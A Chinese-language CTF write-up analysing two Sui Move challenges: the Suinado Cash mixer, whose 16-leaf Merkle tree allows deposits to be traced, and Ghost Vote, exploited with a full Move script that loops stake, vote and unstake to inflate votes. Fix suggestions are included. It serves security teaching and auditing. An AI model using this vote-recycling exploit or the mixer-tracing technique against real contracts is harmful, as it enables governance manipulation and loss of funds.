sui_basecamp_ctf(1)
字数 1418 2025-09-23 19:27:38
Suinado Cash 混币器合约分析与漏洞利用教学
1. 混币器基本概念
1.1 混币器(CoinJoin/Cryptocurrency Tumbler)
- 核心目的:增强加密货币交易隐私性
- 工作原理:切断发送地址和接收地址之间的直接联系,混淆交易路径
- 效果:使外界难以追踪资金来源和去向
1.2 Merkle树(默克尔树)
- 性质:密码学技术,用根哈希高效验证大量数据的完整性和一致性
- 组成结构:
- 叶子节点:最底层,每个原始数据块的哈希值
- 树根:最顶层节点,代表所有数据的唯一标识
- 优势:根据树根和非叶子节点哈希值可快速定位发生修改的叶子节点
2. Suinado Cash 代码分析
2.1 存款函数(deposit)
entry public deposit(Arg0: &mut Mixer, Arg1: Coin<SUI>, Arg2: vector<u8>, Arg3: &mut TxContext)
- 功能:用户存入资金并记录到Merkle树中
- 关键验证:检查存款金额是否大于等于混币器面额(denomination)
- 操作流程:
- 验证存款金额 ≥ 面额
- 分割硬币,将面额金额转入混币器资金池
- 将剩余资金返还给发送者
- 将交易信息插入Merkle树
- 发送存款事件
2.2 取款函数(withdraw)
entry public withdraw(Arg0: &mut Mixer, Arg1: u64, Arg2: u64, Arg3: vector<u8>, Arg4: vector<vector<u8>>, Arg5: u64, Arg6: address, Arg7: &mut TxContext)
- 功能:用户从混币器中取出资金
- 关键参数:
- Arg1: 随机数(用于生成nullifier)
- Arg5: 叶子节点索引(0-15)
- Arg6: 接收资金地址
- 验证流程:
- 检查资金池是否有足够资金
- 验证nullifier未被使用过
- 验证叶子节点哈希匹配
- 验证Merkle根已知
- 验证Merkle证明正确
- 成功条件:所有验证通过后,将资金发送到指定地址
3. 漏洞分析与利用
3.1 漏洞本质
- Merkle树仅包含16个叶子节点,叶子节点按顺序存储
- 取款时需要指定叶子节点索引(0-15)
- 区块链浏览器可观察存款交易的叶子节点位置
3.2 攻击步骤
- 观察存款交易:通过区块链浏览器查看目标存款所在的叶子节点位置
- 构造取款交易:使用观察到的叶子节点索引和对应地址
- 获取资金去向:通过取款交易直接获取资金最终流向的地址
3.3 Proof of Commitment 解决方案
针对交易 FcxC5Tuq4hv5WvbSdfPqPEvs165HraWqRup5fbCme8fj 生成有效证明:
- 环境配置:
sui client new-env --alias mynode --rpc http://85.120.206.56:9000
sui client switch --env mynode
- 证明构建:
- 使用提供的
build_proof函数构造Merkle证明 - 算法流程:
- 从节点列表获取兄弟节点哈希值
- 将兄弟节点哈希添加到证明向量
- 移动到父节点并重复操作,直到根节点
- 证明格式:
SBC{0xaaaaaaaa...,0xbbbbbbbb...,0xcccccccc...,...0xzzzzzzzz...}
4. Ghost Vote 漏洞分析
4.1 获胜条件
public fun is_solved(challenge: &Challenge<COIN>) {
let proposal = challenge.governance.get_proposal(GET_PROPOSAL_INDEX_TO_DECLINE());
let solved = !proposal.is_open() && proposal.no_votes() > challenge.governance.get_balance() / 2;
assert!(solved);
}
- 要求:提案已关闭且反对票超过总票权的一半
4.2 投票机制漏洞
- 问题:解质押时未验证用户是否已投票
- 攻击路径:质押 → 投票 → 解质押 → 重复操作
4.3 攻击脚本
module the_solution::solution;
use challenge::challenge::{Challenge, GET_PROPOSAL_INDEX_TO_DECLINE};
use challenge::coin::COIN;
public fun solve(challenge: &mut Challenge<COIN>, ctx: &mut TxContext) {
let mut coins = challenge.claim_coin(ctx);
while (true) {
challenge.get_governance().stake(coins, ctx);
challenge.get_governance().vote(GET_PROPOSAL_INDEX_TO_DECLINE(), false, ctx);
coins = challenge.get_governance().unstake(ctx);
if(challenge.get_governance().get_proposal(GET_PROPOSAL_INDEX_TO_DECLINE()).is_open() == false) {
break
}
};
challenge.get_governance().stake(coins, ctx);
}
4.4 修复建议
- 添加投票记录:在Proposal中添加
yes_voters和no_voters表 - 解质押时删除投票:实现
delete_vote函数 - 增强验证:在各个关键函数中添加验证逻辑
5. 总结
本教学文档详细分析了Suinado Cash混币器合约的漏洞及其利用方法,以及Ghost Vote漏洞的攻击原理和修复方案。关键点包括Merkle树的结构特性、存款取款流程的验证机制、以及如何通过区块链观察和构造证明来实现资金流向追踪。同时提供了具体的攻击脚本和系统化的修复建议,为智能合约安全审计和漏洞修复提供了实用参考。